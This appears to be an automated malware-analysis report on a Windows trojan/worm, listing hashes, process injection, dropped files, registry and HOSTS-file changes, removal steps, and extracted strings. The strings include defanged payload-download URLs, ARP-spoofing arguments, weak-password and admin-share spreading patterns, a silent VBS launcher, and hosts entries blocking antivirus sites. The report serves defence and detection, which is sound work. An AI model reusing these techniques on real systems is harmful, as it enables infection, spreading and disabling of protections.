MD5: 0ed04d3bf545d16e27373f1dc8e25b96
SHA1: 002650d60953f287722421d7c88515f9b1e5b73e
SHA256: 77f47f9710895724ce6dfb153722efdb07c19c704e5754137271760b3afd1dc8
SSDeep: 384:IqTfFGmEb6ec9Jqm b42wCKt2Xe6w3z8XBcWaFzra8ypNWodXU:TUj8JNndAXGWa28ypN5l
Size: 17412 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2008-06-10 11:48:24
Analyzed on: WindowsXPESX SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Process activity

The Trojan creates the following process(es):

ipconfig.exe:1768
%original file name%.exe:580

The Trojan injects its code into the following process(es):

csrss.exe:352

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:580 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\mfxixue.bat (100 bytes)
%WinDir%\Tasks\csrss.exe (1444 bytes)

Registry activity

The process ipconfig.exe:1768 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A 5D 0B E6 57 05 7B 66 E9 E9 D1 1B EF 4A 01 82"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

The process %original file name%.exe:580 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "75 92 E9 9F 25 8F C8 B2 09 A0 FD 3C C3 5B 53 DE"

Dropped PE files

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 884 bytes in size. The following strings are added to the hosts file listed below:

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

OPTIONS / HTTP/1.1..translate: f..User-Agent: Microsoft-WebDAV-MiniRed
ir/5.1.2600..Host: 192.168.1.1..Content-Length: 0..Connection: Keep-Al
ive....

HTTP/1.1 200 OK

Expires: Sun, 19 Oct 2014 23:16:21 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: max-age=180000

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Last-Modified: Fri, 17 Oct 2014 21:16:21 GMT

X-Frame-Options: SAMEORIGIN

Set-Cookie: PHPSESSID=7783c394f6868356bc89ed344377fd1d; path=/

Set-Cookie: cookie_test=1413584181

Pragma: no-cache

Content-type: text/html

Transfer-Encoding: chunked

Date: Fri, 17 Oct 2014 21:16:21 GMT

Server: lighttpd/1.4.35
1a22...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//E
N".   "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.&l
t;html xmlns="hXXp://VVV.w3.org/1999/xhtml" lang="en" xml:lang="en">
;..<head>...<script type="text/javascript" src="/javascript/j
query.js"></script>...<script type="text/javascript">..
.//<![CDATA[...$(document).ready(function() { jQuery('#usernamefld'
).focus(); });...//]]>...</script>....<title>Login</
title>...<meta http-equiv="Content-Type" content="text/html; cha
rset=iso-8859-1" />...<link rel="shortcut icon" href="/themes/pf
sense_ng/images/icons/favicon.ico" />.....<link rel="stylesheet"
 type="text/css" href="/themes/pfsense_ng/login.css" media="all" />
.....<script type="text/javascript">...//<![CDATA[....functio
n page_load() {}....function clearError() {.....if($('#inputerrors')).
....$('#inputerrors').html('');....}.....    var input_errors = '';.  
  jQuery(document).ready(init);.  .    var noAjaxOnSubmit = false;..  
  function init() {.      if(jQuery('#submit') && ! noAjaxOnSubmit) {.
        // debugging helper.        //alert('adding observe event for 
submit button');.        .        jQuery("#submit").click(submit_form)
;.        jQuery('#submit').click(function() {return false;});.       
 var to_insert = "<div style='visibility:hidden' id='loading' name=
'loading'><img src='/themes/pfsense_ng/images/misc/loader.gif' a
lt='loader' \/><\/div>";.        jQuery('#submit').before
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.data

.rsrc

.shoooo

<script src=hXXp://vntkr.com/img/btn/1.js></script>

recycle.{645FF040-5081-101B-9F08-00AA002F954E}\GHOSTBAK.exe

hXXp://vntkr.com/img/btn/wm/arp.exe

hXXp://vntkr.com/img/btn/wm/wincap.exe

hXXp://vntkr.com/img/btn/tj/ct.asp

hXXp://vntkr.com/img/btn/wm/updatexixue.txt

hXXp://vntkr.com/img/btn/wm/mm.exe

c:\_default.pif

SOFTWARE\Microsoft\Active Setup\Installed Components\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}

FWMon.exe

del "%s"

start %s

c:\mfxixue.bat

%WinDir%\Tasks

AST.exe

360tray.exe

ast.exe

windows

hXXp://VVV.microsoft.com

autorun.inf

\GHOSTBAK.exe

recycle.{645FF040-5081-101B-9F08-00AA002F954E}

%s -idx 0 -ip %s -port 80 -insert "%s"

%s\arps.com

%d.%d.%d.2-%d.%d.%d.255

\wincap.exe

\arps.com

%d.%d.%d.%d

1314520

5201314

12345678

password

at \\%s %d:%d %s

F:\hackshen.exe

\\%s\F$\hackshen.exe

E:\hackshen.exe

\\%s\E$\hackshen.exe

D:\hackshen.exe

\\%s\D$\hackshen.exe

C:\hackshen.exe

\\%s\C$\hackshen.exe

\\%s\admin$\hackshen.exe

\\%s\ipc$

mpr.dll

hXXp://vntkr.com/img/btn/10.exe

hXXp://vntkr.com/img/btn/9.exe

hXXp://vntkr.com/img/btn/8.exe

hXXp://vntkr.com/img/btn/7.exe

hXXp://vntkr.com/img/btn/6.exe

hXXp://vntkr.com/img/btn/5.exe

hXXp://vntkr.com/img/btn/4.exe

hXXp://vntkr.com/img/btn/2.exe

hXXp://vntkr.com/img/btn/1.exe

hXXp://vntkr.com/img/btn/3.exe

%s?mac=%s&ver=2.2

windows config

\mfxixue.ini

%s -ep a "%s" %s

\WinRAR\Rar.exe

\meupdate.ini

127.0.0.0 360.qihoo.com

127.0.0.1 qihoo.com

127.0.0.1 VVV.qihoo.com

127.0.0.1 VVV.qihoo.cn

127.0.0.1 9u9u9.cn

127.0.0.1 58.17.236.92

127.0.0.1 VVV.kaspersky.com

127.0.0.1 60.210.176.251

127.0.0.1 VVV.cnnod32.cn

127.0.0.1 VVV.lanniao.org

127.0.0.1 VVV.nod32club.com

127.0.0.1 VVV.dswlab.com

127.0.0.1 bbs.sucop.com

127.0.0.1 VVV.virustotal.com

127.0.0.1 tool.ikaka.com

127.0.0.1 VVV.jiangmin.com

127.0.0.1 VVV.duba.net

127.0.0.1 VVV.eset.com.cn

127.0.0.1 VVV.nod32.com

127.0.0.1 shadu.duba.net

127.0.0.1 VVV.kaspersky.co.kr

127.0.0.1 VVV.viruschaser.com

127.0.0.1 kaspersky.com.cn

127.0.0.1 virustotal.com

127.0.0.1 VVV.360.cn

127.0.0.1 VVV.360safe.cn

127.0.0.1 VVV.360safe.com

127.0.0.1 home.ahnlab.com

127.0.0.1 VVV.rising.com.cn

127.0.0.1 rising.com.cn

127.0.0.1 dl.jiangmin.com

127.0.0.1 jiangmin.com

\svchost.exe

ntdll.dll

Set rs=createObject("Wscript.shell")

rs.run "%%windir%%\Tasks\csrss.exe",0

\Tasks\hackshen.vbs

SOFTWARE\Microsoft\Windows Script Host\Settings

%windir%\Tasks\hackshen.vbs

%Documents and Settings%

%WinDir%

%s\%s

%s\*.*

\Tasks\wsock32.dll

\wsock32.dll

%System%\arps.com

%System%\wincap.exe

%System%

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\0NrSJbRlzJ.pif

%WinDir%\Tasks\

%WinDir%\Tasks\csrss.exe

.reloc

kernel32.dll

}y%Dw

csrss.exe_352_rwx_00401000_0000B000:

<script src=hXXp://vntkr.com/img/btn/1.js></script>

recycle.{645FF040-5081-101B-9F08-00AA002F954E}\GHOSTBAK.exe

hXXp://vntkr.com/img/btn/wm/arp.exe

hXXp://vntkr.com/img/btn/wm/wincap.exe

hXXp://vntkr.com/img/btn/tj/ct.asp

hXXp://vntkr.com/img/btn/wm/updatexixue.txt

hXXp://vntkr.com/img/btn/wm/mm.exe

c:\_default.pif

SOFTWARE\Microsoft\Active Setup\Installed Components\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}

FWMon.exe

del "%s"

start %s

c:\mfxixue.bat

%WinDir%\Tasks

AST.exe

360tray.exe

ast.exe

windows

hXXp://VVV.microsoft.com

autorun.inf

\GHOSTBAK.exe

recycle.{645FF040-5081-101B-9F08-00AA002F954E}

%s -idx 0 -ip %s -port 80 -insert "%s"

%s\arps.com

%d.%d.%d.2-%d.%d.%d.255

\wincap.exe

\arps.com

%d.%d.%d.%d

1314520

5201314

12345678

password

at \\%s %d:%d %s

F:\hackshen.exe

\\%s\F$\hackshen.exe

E:\hackshen.exe

\\%s\E$\hackshen.exe

D:\hackshen.exe

\\%s\D$\hackshen.exe

C:\hackshen.exe

\\%s\C$\hackshen.exe

\\%s\admin$\hackshen.exe

\\%s\ipc$

mpr.dll

hXXp://vntkr.com/img/btn/10.exe

hXXp://vntkr.com/img/btn/9.exe

hXXp://vntkr.com/img/btn/8.exe

hXXp://vntkr.com/img/btn/7.exe

hXXp://vntkr.com/img/btn/6.exe

hXXp://vntkr.com/img/btn/5.exe

hXXp://vntkr.com/img/btn/4.exe

hXXp://vntkr.com/img/btn/2.exe

hXXp://vntkr.com/img/btn/1.exe

hXXp://vntkr.com/img/btn/3.exe

%s?mac=%s&ver=2.2

windows config

\mfxixue.ini

%s -ep a "%s" %s

\WinRAR\Rar.exe

\meupdate.ini

127.0.0.0 360.qihoo.com

127.0.0.1 qihoo.com

127.0.0.1 VVV.qihoo.com

127.0.0.1 VVV.qihoo.cn

127.0.0.1 9u9u9.cn

127.0.0.1 58.17.236.92

127.0.0.1 VVV.kaspersky.com

127.0.0.1 60.210.176.251

127.0.0.1 VVV.cnnod32.cn

127.0.0.1 VVV.lanniao.org

127.0.0.1 VVV.nod32club.com

127.0.0.1 VVV.dswlab.com

127.0.0.1 bbs.sucop.com

127.0.0.1 VVV.virustotal.com

127.0.0.1 tool.ikaka.com

127.0.0.1 VVV.jiangmin.com

127.0.0.1 VVV.duba.net

127.0.0.1 VVV.eset.com.cn

127.0.0.1 VVV.nod32.com

127.0.0.1 shadu.duba.net

127.0.0.1 VVV.kaspersky.co.kr

127.0.0.1 VVV.viruschaser.com

127.0.0.1 kaspersky.com.cn

127.0.0.1 virustotal.com

127.0.0.1 VVV.360.cn

127.0.0.1 VVV.360safe.cn

127.0.0.1 VVV.360safe.com

127.0.0.1 home.ahnlab.com

127.0.0.1 VVV.rising.com.cn

127.0.0.1 rising.com.cn

127.0.0.1 dl.jiangmin.com

127.0.0.1 jiangmin.com

\svchost.exe

ntdll.dll

Set rs=createObject("Wscript.shell")

rs.run "%%windir%%\Tasks\csrss.exe",0

\Tasks\hackshen.vbs

SOFTWARE\Microsoft\Windows Script Host\Settings

%windir%\Tasks\hackshen.vbs

%Documents and Settings%

%WinDir%

%s\%s

%s\*.*

\Tasks\wsock32.dll

\wsock32.dll

%System%\arps.com

%System%\wincap.exe

%System%

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\0NrSJbRlzJ.pif

%WinDir%\Tasks\

%WinDir%\Tasks\csrss.exe

.data

.reloc

.shoooo

kernel32.dll

}y%Dw

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   ipconfig.exe:1768
   %original file name%.exe:580
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   C:\mfxixue.bat (100 bytes)
   %WinDir%\Tasks\csrss.exe (1444 bytes)

4. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
   127.0.0.1 localhost
   
5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
   
7. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.